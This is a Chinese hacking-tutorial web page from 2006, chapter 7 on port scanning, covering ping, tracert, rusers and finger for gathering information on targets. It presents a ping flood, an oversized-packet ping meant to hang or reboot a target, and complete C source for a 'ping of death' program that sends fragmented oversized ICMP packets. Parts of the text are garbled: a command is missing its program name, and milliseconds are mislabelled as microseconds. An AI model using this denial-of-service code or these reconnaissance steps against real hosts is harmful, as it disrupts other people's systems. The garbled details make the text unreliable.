黑客技术(三)

时间:2006-10-12 来源: 作者: 点击:
第七章 端口扫描 一个端口就是一个潜在的通信通道,也就是一个入侵通道。对目标计算机进行端口扫描,能得到许多有用的信息。进行扫描的方法很多,可以是手工进行扫描,也可以用端口扫描软件进行。 在手工进行扫描时,需要熟悉各种命令。对命令执行后的输出进行分析。用
  
  第七章 
  
  端口扫描
  
    一个端口就是一个潜在的通信通道,也就是一个入侵通道。对目标计算机进行端口扫描,能得到许多有用的信息。进行扫描的方法很多,可以是手工进行扫描,也可以用端口扫描软件进行。
  
    在手工进行扫描时,需要熟悉各种命令。对命令执行后的输出进行分析。用扫描软件进行扫描时,许多扫描器软件都有分析数据的功能。
  
    通过端口扫描,可以得到许多有用的信息,从而发现系统的安全漏洞。
  
    下面首先介绍几个常用网络命令,对端口扫描原理进行介绍,然后提供一个简单的扫描程序。
  
  第一节 几个常用网络相关命令
  
  Ping命令经常用来对TCP/IP网络进行诊断。通过目标计算机发送一个数据包,让它将这个数据包反送回来,如果返回的数据包和发送的数据包一致,那就是说你的PING命令成功了。通过这样对返回的数据进行分析,就能判断计算机是否开着,或者这个数据包从发送到返回需要多少时间。
  
  Ping命令的基本格式:
  
  ping hostname
  
    其中hostname是目标计算机的地址。Ping还有许多高级使用,下面就是一个例子。
  
  C:> ping -f hostname
  
    这条命令给目标机器发送大量的数据,从而使目标计算机忙于回应。在Windows 95的计算机上,使用下面的方法:
  
  c:-l 65510 saddam_hussein's.computer.mil
  
    这样做了之后,目标计算机有可能会挂起来,或从新启动。由于 -l 65510 产生一个巨大的数据包。由于要求返回一个同样的数据包,会使目标计算机反应不过来。
  
    在Linux计算机上,可以编写一个程序来实现上述方法。
  
  #include < stdio.h>
  
  #include < sys/types.h>
  
  #include < sys/socket.h>
  
  #include < netdb.h>
  
  #include < netinet/in.h>
  
  #include < netinet/in_systm.h>
  
  #include < netinet/ip.h>
  
  #include < netinet/ip_icmp.h>
  
  /*
  
  * If your kernel doesn't muck with raw packets, #define REALLY_RAW.
  
  * This is probably only Linux.
  
  */
  
  #ifdef REALLY_RAW
  
  #define FIX(x) htons(x)
  
  #else
  
  #define FIX(x) (x)
  
  #endif
  
  int
  
  main(int argc, char **argv)
  
  {
  
  int s;
  
  char buf[1500];
  
  struct ip *ip = (struct ip *)buf;
  
  struct icmp *icmp = (struct icmp *)(ip + 1);
  
  struct hostent *hp;
  
  struct sockaddr_in dst;
  
  int offset;
  
  int on = 1;
  
  bzero(buf, sizeof buf);
  
  if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) < 0) {
  
  perror("socket");
  
  exit(1);
  
  }
  
  if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
  
  perror("IP_HDRINCL");
  
  exit(1);
  
  }
  
  if (argc != 2) {
  
  fprintf(stderr, "usage: %s hostname", argv[0]);
  
  exit(1);
  
  }
  
  if ((hp = gethostbyname(argv[1])) == NULL) {
  
  if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {
  
  fprintf(stderr, "%s: unknown host", argv[1]);
  
  }
  
  } else {
  
  bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);
  
  }
  
  printf("Sending to %s", inet_ntoa(ip->ip_dst));
  
  ip->ip_v = 4;
  
  ip->ip_hl = sizeof *ip >> 2;
  
  ip->ip_tos = 0;
  
  ip->ip_len = FIX(sizeof buf);
  
  ip->ip_id = htons(4321);
  
  ip->ip_off = FIX(0);
  
  ip->ip_ttl = 255;
  
  ip->ip_p = 1;
  
  ip->ip_sum = 0; /* kernel fills in */
  
  ip->ip_src.s_addr = 0; /* kernel fills in */
  
  dst.sin_addr = ip->ip_dst;
  
  dst.sin_family = AF_INET;
  
  icmp->icmp_type = ICMP_ECHO;
  
  icmp->icmp_code = 0;
  
  icmp->icmp_cksum = htons(~(ICMP_ECHO < < 8));
  
  /* the checksum of all 0's is easy to compute */
  
  for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) {
  
  ip->ip_off = FIX(offset >> 3);
  
  if (offset < 65120)
  
  ip->ip_off |= FIX(IP_MF);
  
  else
  
  ip->ip_len = FIX(418); /* make total 65538 */
  
  if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst,
  
  sizeof dst) < 0) {
  
  fprintf(stderr, "offset %d: ", offset);
  
  perror("sendto");
  
  }
  
  if (offset == 0) {
  
  icmp->icmp_type = 0;
  
  icmp->icmp_code = 0;
  
  icmp->icmp_cksum = 0;
  
  }
  
  }
  
  }
  
  Tracert命令用来跟踪一个消息从一台计算机到另一台计算机所走的路径,比方说从你的计算机走到浙江信息超市。在DOS窗口下,命令如下:
  
  C:>tracert 202.96.102.4
  
  Tracing route to 202.96.102.4 over a maximum of 30 hops
  
  1 84 ms 82 ms 95 ms 202.96.101.57 2 100 ms 100 ms 95 ms
  
  0fa1.1-rtr1-a-hz1.zj.CN.NET [202.96.101.33] 3 95 ms 90 ms 100 ms 202.101.165.1 4
  
  90 ms 90 ms 90 ms 202.107.197.98 5 95 ms 90 ms 99 ms 202.96.102.4 6 90 ms 95 ms
  
  100 ms 202.96.102.4
  
  Trace complete.
  
    上面的这些输出代表什么意思?左边的数字是该路由通过的计算机数目。"150
  
  ms"是指向那台计算机发送消息的往返时间,单位是微秒。由于每条消息每次的来回的时间不一样,tracert将显示来回时间三次。"*"表示来回时间太长,tracert将这个时间“忘掉了”。在时间信息到来后,计算机的名字信息也到了。开始是一种便于人们阅读的格式,
  
  接着是数字格式。
  
  C:>tracert 152.163.199.56
  
  Tracing route to dns-aol.ANS.NET [198.83.210.28]over a maximum of 30 hops:
  
  1 124 ms 106 ms 105 ms 202.96.101.57 2 95 ms 95 ms 90 ms
  
  0fa1.1-rtr1-a-hz1.zj.CN.NET [202.96.101.33] 3 100 ms 90 ms 100 ms 202.101.165.1
  
  4 90 ms 95 ms 95 ms 202.97.18.241 5 105 ms 105 ms 100 ms 202.97.18.93 6 100 ms
  
  99 ms 100 ms 202.97.10.37 7 135 ms 98 ms 100 ms 202.97.9.78 8 760 ms 725 ms 768
  
  ms gip-ftworth-4-serial8-3.gip.net [204.59.178.53] 9 730 ms 750 ms 715 ms
  
  gip-ftworth-4-serial8-3.gip.net [204.59.178.53] 10 750 ms 785 ms 772 ms
  
  144.232.11.9 11 740 ms 800 ms 735 ms sl-bb11-pen-2-0.sprintlink.NET
  
  [144.232.8.158] 12 790 ms 800 ms 735 ms sl-nap2-pen-4-0-0.sprintlink.net
  
  [144.232.5.66] 13 770 ms 800 ms 800 ms p219.t3.ans.net [192.157.69.13] 14 775 ms
  
  820 ms 780 ms h14-1.t60-6.Reston.t3.ANS.NET [140.223.17.18] 15 780 ms 800 ms 800
  
  ms h11-1.t60-2.Reston.t3.ANS.NET [140.223.25.34] 16 790 ms 795 ms 800 ms
  
  h14-1.t104-0.Atlanta.t3.ANS.NET [140.223.65.18] 17 *
  
  h14-1.t104-0.Atlanta.t3.ANS.NET [140.223.65.18] reports: Destination host
  
  unreachable.
  
  Trace complete.
  
  rusers和finger
  
    这两个都是Unix命令。通过这两个命令,你能收集到目标计算机上的有关用户的消息。
  
  使用rusers命令,产生的结果如下示意:
  
  gajake snark.wizard.com:ttyp1 Nov 13 15:42 7:30 (remote)
  
  root snark.wizard.com:ttyp2 Nov 13 14:57 7:21 (remote)
  
  robo snark.wizard.com:ttyp3 Nov 15 01:04 01 (remote)
  
  angel111 snark.wizard.com:ttyp4 Nov14 23:09 (remote)
  
  pippen snark.wizard.com:ttyp6 Nov 14 15:05 (remote)
  
  root snark.wizard.com:ttyp5 Nov 13 16:03 7:52 (remote)
  
  gajake snark.wizard.com:ttyp7 Nov 14 20:20 2:59 (remote)
  
  dafr snark.wizard.com:ttyp15Nov 3 20:09 4:55 (remote)
  
  dafr snark.wizard.com:ttyp1 Nov 14 06:12 19:12 (remote)
  
  dafr snark.wizard.com:ttyp19Nov 14 06:12 19:02 (remote)
  
    最左边的是通过远程登录的用户名。还包括上次登录时间,使用的SHELL类型等等信息。
  
    使用finger
------分隔线----------------------------
顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------
最新评论 查看所有评论
发表评论 查看所有评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
表情:
用户名: 密码: 验证码:
推荐内容